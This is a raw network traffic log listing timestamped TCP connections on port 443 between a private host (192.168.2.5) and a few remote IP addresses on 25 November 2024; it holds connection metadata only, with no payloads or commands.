Nov 25, 2024 12:08:05.770478964 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.783498049 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.783859015 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.783891916 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.784286022 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.784291029 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.849883080 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.850222111 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.850241899 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.850586891 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.850591898 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.904369116 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.907493114 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.907530069 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.907557964 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.907603025 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.908736944 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.908761024 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.908772945 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.908778906 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.911870956 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.911906958 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:05.911974907 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.912079096 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:05.912092924 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.219372988 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.222717047 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.222800016 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.222986937 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.223009109 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.223021030 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.223026991 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.225636005 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.225682974 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.225795031 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.225914955 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.225930929 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.294296026 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.297518969 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.297581911 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.297734022 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.297734022 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.297750950 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.297760963 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.300084114 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.300122976 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:06.300205946 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.300393105 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:06.300412893 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.456383944 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.457063913 CET	49915	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.457086086 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.457412958 CET	49915	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.457418919 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.549108982 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.549731970 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.549753904 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.550054073 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.550064087 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.695713997 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.701914072 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.701940060 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.702558041 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.702564001 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.907757044 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.910871029 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.911062002 CET	49915	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.913913965 CET	49915	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.913913965 CET	49915	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.913938999 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.913949966 CET	443	49915	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.916744947 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.916788101 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.916847944 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.917000055 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.917011023 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.941620111 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.942141056 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.942167997 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.942585945 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.942591906 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.992918015 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.995805025 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.995860100 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:07.995974064 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:07.995974064 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.013529062 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.013529062 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.013561964 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.013573885 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.015522003 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.016074896 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.016094923 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.016521931 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.016526937 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.017384052 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.017427921 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.017492056 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.017616034 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.017630100 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.139501095 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.142700911 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.142776966 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.142863035 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.142885923 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.142898083 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.142903090 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.145708084 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.145757914 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.145840883 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.145987034 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.146001101 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.378221989 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.381268024 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.381320000 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.381349087 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.381401062 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.412976980 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.413017035 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.413032055 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.413038969 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.416435957 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.416484118 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.416543961 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.416718006 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.416728020 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.449145079 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.452712059 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.452788115 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.636732101 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.636765957 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.636780024 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.636785984 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.713298082 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.713397980 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.713493109 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.713681936 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:08.713737011 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:08.713871956 CET	49703	443	192.168.2.5	23.1.237.91
Nov 25, 2024 12:08:08.713912010 CET	443	49703	23.1.237.91	192.168.2.5
Nov 25, 2024 12:08:09.698550940 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.699204922 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:09.699232101 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.699769974 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:09.699781895 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.736087084 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.736630917 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:09.736654043 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.737152100 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:09.737155914 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.924896955 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.925874949 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:09.925923109 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:09.926445961 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:09.926451921 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.141535997 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.144817114 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.144891977 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.144928932 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.144948006 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.144962072 CET	49920	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.144967079 CET	443	49920	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.147747040 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.147793055 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.147855043 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.148015022 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.148029089 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.170442104 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.173094988 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.173158884 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.173206091 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.173228025 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.173240900 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.173247099 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.176258087 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.176373959 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.176465988 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.176597118 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.176634073 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.201533079 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.202425003 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.202440023 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.202853918 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.202858925 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.368437052 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.372128010 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.372190952 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.372201920 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.372261047 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.372311115 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.372329950 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.372339964 CET	49922	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.372344971 CET	443	49922	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.375329971 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.375359058 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.375463963 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.375655890 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.375667095 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.437283039 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.438021898 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.438072920 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.438532114 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.438541889 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.644828081 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.648060083 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.648145914 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.648179054 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.648179054 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.648191929 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.648200989 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.651197910 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.651237011 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.651330948 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.651464939 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.651474953 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.872283936 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.875649929 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.875756025 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.875871897 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.875890970 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.875905037 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.875914097 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.879517078 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.879553080 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:10.879630089 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.879764080 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:10.879780054 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:11.864765882 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:11.865267038 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:11.865303040 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:11.865719080 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:11.865725040 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:11.909198999 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:11.909683943 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:11.909723997 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:11.910145044 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:11.910152912 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.090095997 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.090830088 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.090861082 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.091398954 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.091406107 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.299556017 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.302999020 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.303086996 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.303138018 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.303158045 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.303170919 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.303177118 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.306312084 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.306349993 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.306556940 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.306806087 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.306817055 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.345769882 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.348918915 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.348983049 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.349071026 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.349122047 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.349147081 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.349163055 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.349170923 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.351766109 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.351808071 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.351891994 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.352087021 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.352099895 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.365978956 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.366555929 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.366579056 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.367001057 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.367007017 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.524027109 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.527124882 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.529088974 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.529124022 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.529141903 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.529154062 CET	49927	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.529160023 CET	443	49927	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.532795906 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.532833099 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.532917976 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.533056974 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.533071041 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.660895109 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.661515951 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.661530018 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.662049055 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.662053108 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.800719976 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.800806046 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.802314997 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.802360058 CET	49928	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.802378893 CET	443	49928	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.805529118 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.805574894 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:12.805632114 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.806082964 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:12.806098938 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:13.108026981 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:13.111032963 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:13.111108065 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:13.111145020 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:13.111166954 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:13.111181974 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:13.111187935 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:13.114082098 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:13.114135027 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:13.114207983 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:13.114352942 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:13.114363909 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.077205896 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.077735901 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.077754021 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.078231096 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.078236103 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.087608099 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.088009119 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.088027954 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.088457108 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.088462114 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.378240108 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.378668070 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.378706932 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.379103899 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.379110098 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.512383938 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.515625000 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.515718937 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.515768051 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.515790939 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.515804052 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.515813112 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.518866062 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.518906116 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.519016981 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.519212961 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:14.519227028 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.530961990 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:14.534137964 CET	443	49930	13.107.246.63	192.168.2.5
